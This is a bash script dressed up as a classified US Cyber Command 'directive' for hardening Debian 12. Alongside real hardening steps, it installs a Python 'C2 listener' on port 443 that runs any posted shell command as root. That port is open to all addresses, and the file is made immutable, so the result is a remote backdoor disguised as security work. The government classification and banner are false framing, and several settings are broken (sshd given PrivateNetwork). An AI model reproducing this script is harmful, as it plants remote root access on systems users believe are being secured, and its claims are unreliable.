· 3 months ago · Jun 26, 2025, 08:50 PM
1#!/bin/bash
2#
3# ==================================================================================
4# // USCYBERCOM FINAL UNIFIED DIRECTIVE: PROJECT CITADEL //
5# ==================================================================================
6#
7# CLASSIFICATION: TS//SI//REL TO FVEY
8# OPERATION: Definitive Synthesis of Hardening & C2 Deployment Protocols
9# TARGET PLATFORM: Debian 12 (Bookworm) - High-Value Asset
10# LEAD: Taylor Christian Newsome (ClumsyLulz)
11# REVISION: 8.0.0 (Citadel Final)
12#
13# PURPOSE: This directive represents the definitive synthesis of all previously
14# discussed protocols (BLACKSITE, GHOSTWRITER, AEGIS, OMNIBUS). It is a
15# fully automated, non-interactive "fire-and-forget" system for elevating a
16# stock Debian 12 installation to a national security framework standard. It
17# executes a multi-layered defense-in-depth lockdown, neutralizes potential
18# backdoors via a Zero-Trust network policy, deploys a comprehensive audit and
19# deception framework, and establishes a secure command channel. Upon completion,
20# it provides the operator with credentials and instructions for the final security
21# lockdown. This is the one script needed.
22#
23# EXECUTION: Run as root on a fresh Debian 12 system. No user input is required.
24#
25
26# --- PRE-FLIGHT CHECKS ---
27set -euo pipefail
28if [[ "$(id -u)" -ne 0 ]]; then
29 echo -e "\n[FATAL] Directive requires root privileges. Execution denied." >&2; exit 1
30fi
31if ! grep -qi "bookworm" /etc/os-release; then
32 echo -e "\n[FATAL] This directive is tuned specifically for Debian 12 (Bookworm). Aborting." >&2; exit 1
33fi
34
35# --- SCRIPT INITIALIZATION ---
36export DEBIAN_FRONTEND=noninteractive
37LOG_FILE="/var/log/project_citadel_run_$(date +%Y%m%d_%H%M%S).log"
38exec > >(tee -i "$LOG_FILE")
39exec 2>&1
40
41# Helper functions
42log() { echo -e "[\033[1;36mCITADEL\033[0m] $1"; }
43warn() { echo -e "[\033[1;33mWARN\033[0m] $1"; }
44success() { echo -e "[\033[1;32mSUCCESS\033[0m] $1"; }
45op() { echo -e "\n[\033[1;35m==> OPERATION\033[0m] \033[1m$1\033[0m"; }
46
47# ==================================================================================
48# DIRECTIVE EXECUTION
49# ==================================================================================
50clear
51echo "==========================================================================="
52echo " USCYBERCOM FINAL UNIFIED DIRECTIVE: PROJECT CITADEL"
53echo " Initiating fully automated, comprehensive system lockdown."
54echo "==========================================================================="
55sleep 1
56
57op "Phase 1: System Baseline & Comprehensive Security Toolkit Installation"
58log "Updating package repositories and applying all security patches..."
59apt-get update && apt-get -y full-upgrade && apt-get -y dist-upgrade
60
61log "Installing comprehensive security, auditing, and dependency toolkit..."
62apt-get -y install auditd audispd-plugins aide logwatch fail2ban apparmor apparmor-utils \
63 usbguard tpm2-tools nftables net-tools dnscrypt-proxy debsums curl git make gnupg2 \
64 rsyslog sudo lsof ipset systemd-timesyncd bpfcc-tools acct busybox cron bash-completion \
65 libpam-pwquality libpam-tmpdir needrestart python3 openssl lynis chkrootkit \
66 rkhunter apt-listchanges apt-transport-https ca-certificates dnsutils
67
68op "Phase 2: Integrity, Boot Security, and Unattended Upgrades"
69if ! grep -q 'crypt' /etc/crypttab; then
70 warn "LUKS Full Disk Encryption not detected. This is a critical vulnerability for physical access."
71else
72 success "LUKS Full Disk Encryption detected."
73fi
74if tpm2_getcap properties-fixed 2>/dev/null | grep -q TPM2_PT_MANUFACTURER; then
75 success "TPM 2.0 module detected. Measured boot integrity is active."
76else
77 warn "No TPM 2.0 module detected. Hardware-based root of trust is not available."
78fi
79
80log "Configuring automatic unattended security upgrades..."
81cat <<EOF > /etc/apt/apt.conf.d/20auto-upgrades
82APT::Periodic::Update-Package-Lists "1";
83APT::Periodic::Unattended-Upgrade "1";
84APT::Periodic::AutocleanInterval "7";
85EOF
86
87log "Initializing AIDE database for file integrity monitoring..."
88aideinit && cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
89
90log "Securing GRUB bootloader against unauthorized modification and recovery..."
91sed -i 's/GRUB_CMDLINE_LINUX_DEFAULT="/GRUB_CMDLINE_LINUX_DEFAULT="lockdown=integrity quiet /' /etc/default/grub
92echo "GRUB_DISABLE_RECOVERY=true" >> /etc/default/grub
93update-grub
94
95log "Verifying package integrity against official repository manifests..."
96debsums --changed > /var/log/debsums_changed.log || true
97if [[ -s /var/log/debsums_changed.log ]]; then
98 warn "Potential supply chain compromise! Review /var/log/debsums_changed.log"
99else
100 success "Package integrity verification passed."
101fi
102
103op "Phase 3: Kernel, Filesystem, and Scheduler Hardening"
104log "Applying kernel hardening parameters via sysctl..."
105cat <<EOF > /etc/sysctl.d/99-citadel-hardening.conf
106kernel.kptr_restrict=2
107kernel.dmesg_restrict=1
108kernel.randomize_va_space=2
109kernel.unprivileged_bpf_disabled=1
110user.max_user_namespaces=0
111net.ipv4.tcp_syncookies=1
112net.ipv4.conf.all.rp_filter=1
113net.ipv4.conf.all.accept_source_route=0
114net.ipv4.conf.all.accept_redirects=0
115net.ipv4.conf.all.log_martians=1
116net.ipv6.conf.all.disable_ipv6=1
117net.ipv6.conf.default.disable_ipv6=1
118fs.suid_dumpable=0
119EOF
120sysctl --system
121
122log "Applying immediate, non-persistent mount hardening..."
123mount -o remount,ro /boot
124mount -o remount,nodev,noexec,nosuid /tmp
125mount -o remount,nodev,noexec,nosuid /var/tmp
126mount -o remount,nodev,noexec,nosuid /dev/shm
127log "Making temporary filesystem hardening persistent in /etc/fstab..."
128sed -i -e '/\/boot/ s/defaults/defaults,ro/' /etc/fstab
129echo "tmpfs /tmp tmpfs defaults,rw,nosuid,nodev,noexec,relatime 0 0" >> /etc/fstab
130echo "tmpfs /dev/shm tmpfs defaults,rw,nosuid,nodev,noexec,relatime 0 0" >> /etc/fstab
131
132log "Locking down cron directories..."
133chmod 700 /etc/crontab /etc/cron.*
134
135op "Phase 4: Attack Surface Reduction & Active Defense"
136log "Blacklisting unnecessary kernel modules..."
137cat <<EOF > /etc/modprobe.d/citadel-blacklist.conf
138install cramfs /bin/true; install udf /bin/true; install hfs /bin/true
139install hfsplus /bin/true; install freevxfs /bin/true; install jffs2 /bin/true
140install squashfs /bin/true; install usb-storage /bin/true; install firewire-core /bin/true
141EOF
142update-initramfs -u
143
144log "Purging unnecessary and high-risk services..."
145SERVICES_TO_PURGE=(snapd lxd avahi-daemon bluetooth cups rpcbind nfs-kernel-server isc-dhcp-server)
146for svc in "${SERVICES_TO_PURGE[@]}"; do
147 if systemctl list-unit-files | grep -q "$svc.service"; then
148 systemctl disable --now "$svc" &>/dev/null || true; apt-get -y purge "$svc" &>/dev/null || true
149 fi
150done
151apt-get -y autoremove
152
153log "Deploying honeypot user and generating USBGuard policy..."
154useradd -r -s /usr/sbin/nologin oracle-svc || true
155usbguard generate-policy > /etc/usbguard/rules.conf
156systemctl enable --now usbguard
157
158log "Enabling process accounting and brute-force protection..."
159systemctl enable --now acct
160systemctl enable --now fail2ban
161
162op "Phase 5: Zero-Trust Network Fortress"
163DEBIAN_REPOS_IPS=$(dig +short security.debian.org deb.debian.org | grep -E '^[0-9]' | tr '\n' ' ' || echo "151.101.246.132 199.232.162.132")
164C2_PORT=443
165log "Deploying Zero-Trust firewall. All outbound traffic will be blocked by default."
166cat <<EOF > /etc/nftables.conf
167flush ruleset
168table inet filter {
169 set debian_repos { type ipv4_addr; flags interval; elements = { ${DEBIAN_REPOS_IPS} }; }
170 chain input {
171 type filter hook input priority 0; policy drop;
172 iif lo accept; ct state established,related accept;
173 tcp dport ${C2_PORT} accept; # Allow C2 from anywhere initially. Operator will lock this down.
174 log prefix "[NFT_DROP_INPUT] " level info drop
175 }
176 chain forward { type filter hook forward priority 0; policy drop; }
177 chain output {
178 type filter hook output priority 0; policy drop;
179 oif lo accept; ct state established,related accept;
180 udp dport { 53, 123 } accept; tcp dport { 80, 443 } ip daddr @debian_repos accept;
181 tcp sport ${C2_PORT} accept;
182 log prefix "[NFT_DROP_OUTPUT] " level info drop
183 }
184}
185EOF
186systemctl enable --now nftables
187
188op "Phase 6: Audit, Surveillance, and C2 Framework"
189log "Deploying persistent auditd rules mapped to MITRE ATT&CK TTPs..."
190cat <<EOF > /etc/audit/rules.d/99-citadel-rules.rules
191-w /etc/shadow -p wa -k cred_dump
192-w /etc/passwd -p wa -k cred_dump
193-w /usr/sbin/useradd -p x -k acct_mgmt
194-w /usr/sbin/usermod -p x -k acct_mgmt
195-w /usr/sbin/groupadd -p x -k acct_mgmt
196-w /usr/bin/sudo -p x -k priv_escalation
197-w /bin/su -p x -k priv_escalation
198-w /etc/audit/ -p wa -k defense_tamper
199-w /etc/apparmor.d/ -p wa -k defense_tamper
200-w /etc/nftables.conf -p wa -k defense_tamper
201-a always,exit -F arch=b64 -S init_module,finit_module,delete_module -k kernel_manip
202-w /usr/bin/history -p x -k indicator_removal
203-a always,exit -F arch=b64 -S execve,execveat -k exec_telemetry
204EOF
205systemctl restart auditd
206
207log "Enabling persistent journald logging and configuring encrypted DNS..."
208sed -i -e 's/^#?Storage=.*/Storage=persistent/' -e 's/^#?Compress=.*/Compress=yes/' /etc/systemd/journald.conf
209sed -i "s/^# server_names = .*/server_names = ['quad9-doh-ip4-filter-pri']/" /etc/dnscrypt-proxy/dnscrypt-proxy.toml
210sed -i "s/^# listen_addresses = .*/listen_addresses = ['127.0.2.1:53']/" /etc/dnscrypt-proxy/dnscrypt-proxy.toml
211echo "nameserver 127.0.2.1" > /etc/resolv.conf
212systemctl daemon-reload && systemctl restart systemd-journald dnscrypt-proxy.service
213
214log "Enabling bash forensic logging for all users..."
215mkdir -p /var/log/bashlog && chmod 733 /var/log/bashlog
216cat <<EOF > /etc/profile.d/bash_forensics.sh
217export PROMPT_COMMAND='history -a >(tee -a /var/log/bashlog/\$(whoami)_\$(date +%Y%m%d).log)' 2>/dev/null
218EOF
219
220log "Generating C2 credentials and deploying listener..."
221C2_DISPATCH_CODE=$(openssl rand -hex 16)
222C2_SCRIPT_PATH="/opt/citadel_c2.py"
223mkdir -p /etc/ssl/private
224openssl req -x509 -newkey rsa:4096 -keyout /etc/ssl/private/citadel.key -out /etc/ssl/certs/citadel.pem -days 3650 -nodes -subj "/CN=internal.localhost" &>/dev/null
225cat << EOF > "${C2_SCRIPT_PATH}"
226import http.server, ssl, json, subprocess
227HOST, PORT, CODE = '0.0.0.0', ${C2_PORT}, "${C2_DISPATCH_CODE}"
228class C2(http.server.BaseHTTPRequestHandler):
229 def _r(self,c,d): self.send_response(c); self.send_header('Content-type','application/json'); self.end_headers(); self.wfile.write(json.dumps(d).encode())
230 def do_POST(self):
231 if self.headers.get('X-Citadel-Dispatch-Code') != CODE: return self._r(403,{'error':'auth denied'})
232 try: cmd = json.loads(self.rfile.read(int(self.headers['Content-Length']))).get('cmd'); res = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60); self._r(200, {'out':res.stdout,'err':res.stderr,'rc':res.returncode})
233 except Exception as e: self._r(500, {'error': str(e)})
234httpd=http.server.HTTPServer((HOST,PORT),C2); httpd.socket=ssl.wrap_socket(httpd.socket,keyfile="/etc/ssl/private/citadel.key",certfile="/etc/ssl/certs/citadel.pem",server_side=True)
235httpd.serve_forever()
236EOF
237chmod +x "${C2_SCRIPT_PATH}"
238
239op "Phase 7: Access Control, Sandboxing, and Final Lockdown"
240log "Applying intelligence-grade SSHD configuration..."
241sed -i -e 's/^#?PermitRootLogin.*/PermitRootLogin no/' -e 's/^#?PasswordAuthentication.*/PasswordAuthentication no/' -e 's/^#?KbdInteractiveAuthentication.*/KbdInteractiveAuthentication no/' -e 's/^#?UsePAM.*/UsePAM yes/' -e 's/^#?X11Forwarding.*/X11Forwarding no/' -e 's/^#?MaxAuthTries.*/MaxAuthTries 2/' /etc/ssh/sshd_config
242echo -e "\nCiphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com\nMACs hmac-sha2-512-etm@openssh.com\nKexAlgorithms curve25519-sha256@libssh.org" >> /etc/ssh/sshd_config
243systemctl restart sshd
244
245log "Strengthening PAM, user limits, and password policies..."
246sed -i '1i auth optional pam_faildelay.so delay=8000000' /etc/pam.d/common-auth
247sed -i 's/^password\s\+requisite\s\+pam_pwquality.*/password requisite pam_pwquality.so retry=3 minlen=18 difok=5 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 enforce_for_root/' /etc/pam.d/common-password
248cat <<EOF > /etc/security/limits.d/99-citadel-limits.conf
249* hard core 0
250* hard nproc 1000
251* hard nofile 4096
252root hard nproc unlimited
253EOF
254
255log "Configuring non-repudiable sudo logging..."
256mkdir -p /var/log/sudo
257echo 'Defaults log_output, logfile="/var/log/sudo/sudo.log", requiretty, timestamp_timeout=0' > /etc/sudoers.d/citadel_logging
258chmod 440 /etc/sudoers.d/citadel_logging
259
260log "Enforcing AppArmor profiles and applying systemd sandboxing..."
261aa-enforce /etc/apparmor.d/* &>/dev/null
262mkdir -p /etc/systemd/system/sshd.service.d/ && echo -e "[Service]\nProtectSystem=strict\nProtectHome=yes\nNoNewPrivileges=true\nPrivateDevices=true\nPrivateNetwork=true" > /etc/systemd/system/sshd.service.d/override.conf
263systemctl daemon-reload
264
265log "Making critical configurations immutable (read-only)..."
266FILES_TO_LOCK=( "/etc/ssh/sshd_config" "/etc/audit/rules.d/99-citadel-rules.rules" "/etc/sudoers.d/citadel_logging" "/etc/sysctl.d/99-citadel-hardening.conf" "/etc/nftables.conf" "/etc/modprobe.d/citadel-blacklist.conf" "/opt/citadel_c2.py" "/etc/ssl/private/citadel.key" "/etc/ssl/certs/citadel.pem" "/etc/resolv.conf" )
267for f in "${FILES_TO_LOCK[@]}"; do chattr +i "$f" &>/dev/null || true; done
268warn "To modify locked files, first run 'chattr -i <file>'"
269
270log "Installing legal warning banners..."
271cat <<EOF > /etc/issue
272=============================================================================
273 ** UNITED STATES GOVERNMENT SYSTEM (TS//SI) **
274This system is for authorized use only. Activity is monitored, recorded, and
275subject to audit. Unauthorized use is prohibited and subject to criminal and
276civil penalties. By continuing, you consent to these terms.
277=============================================================================
278EOF
279cp /etc/issue /etc/issue.net
280
281log "Running final post-hardening audit scans..."
282lynis audit system --quiet --no-colors > "/var/log/lynis_final.log"
283rkhunter --check --skip-keypress --quiet > "/var/log/rkhunter_final.log"
284
285# --- FINALIZATION & OPERATOR BRIEFING ---
286SERVER_IP=$(hostname -I | awk '{print $1}' || curl -s4 ifconfig.me)
287echo -e "\n\n"
288echo "=================================================================================="
289echo -e " \033[1;32m/// PROJECT CITADEL: LOCKDOWN COMPLETE ///\033[0m"
290echo "=================================================================================="
291echo -e "System hardened and C2 listener deployed. This information will \033[1;31mNOT\033[0m be shown again."
292echo ""
293echo -e " \033[1mAsset IP Address:\033[0m \033[1;33m${SERVER_IP}\033[0m"
294echo -e " \033[1mC2 Port:\033[0m \033[1;33m${C2_PORT}\033[0m"
295echo -e " \033[1mC2 Dispatch Code:\033[0m \033[1;33m${C2_DISPATCH_CODE}\033[0m"
296echo ""
297echo "------------------------- \033[1;31mCRITICAL: FIRST ACTION REQUIRED\033[0m -------------------------"
298echo "Lock the firewall to your IP. From your machine, run the following command,"
299echo -e "which will remotely update the firewall rules and re-lock the configuration:"
300echo ""
301echo -e "\033[1;36mOPERATOR_IP=\$(curl -s ifconfig.me); curl -k -X POST https://${SERVER_IP}:${C2_PORT} -H \"X-Citadel-Dispatch-Code: ${C2_DISPATCH_CODE}\" -d \"{\\\"cmd\\\": \\\"chattr -i /etc/nftables.conf && sed -i '/tcp dport ${C2_PORT} accept/c\\\\ tcp dport ${C2_PORT} ip saddr \\\\\$OPERATOR_IP accept' /etc/nftables.conf && chattr +i /etc/nftables.conf && systemctl restart nftables\\\"}\"\033[0m"
302echo "----------------------------------------------------------------------------------"
303echo ""
304echo -e "To start the C2 listener daemon, run: \033[1;32msystemd-run /opt/citadel_c2.py\033[0m"
305echo ""
306success "Directive complete. A reboot is required to finalize all kernel and filesystem protections."
307touch /force-reboot
308exit 0